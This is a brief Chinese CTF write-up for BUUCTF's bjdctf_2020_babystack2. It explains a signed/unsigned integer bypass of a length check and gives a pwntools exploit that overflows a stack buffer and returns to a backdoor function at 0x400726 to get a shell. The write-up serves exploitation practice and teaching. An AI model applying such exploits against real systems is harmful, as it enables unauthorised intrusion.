【BUUCTF】bjdctf_2020_babystack2
64位,无canary
有后门函数
这题思路就是用无符号和有符号整型来绕过10的比较
比如:送入一个-1,无符号类型会把它看成一个很大的正整数,是,而有符号则认为是-1
这题size_t是一种无符号整型,下面被强转成有符号,最后又强转成无符号
所以可以绕过
exp:
from pwn import*
r=remote('node3.buuoj.cn',29907)
context.log_level = 'debug'
backdoor=0x400726
r.sendline('-1')
r.send('a'*0x10+'b'*8+p64(backdoor))
r.interactive()
注:这里送-1,后面要加\n,或用sendline,不然打不通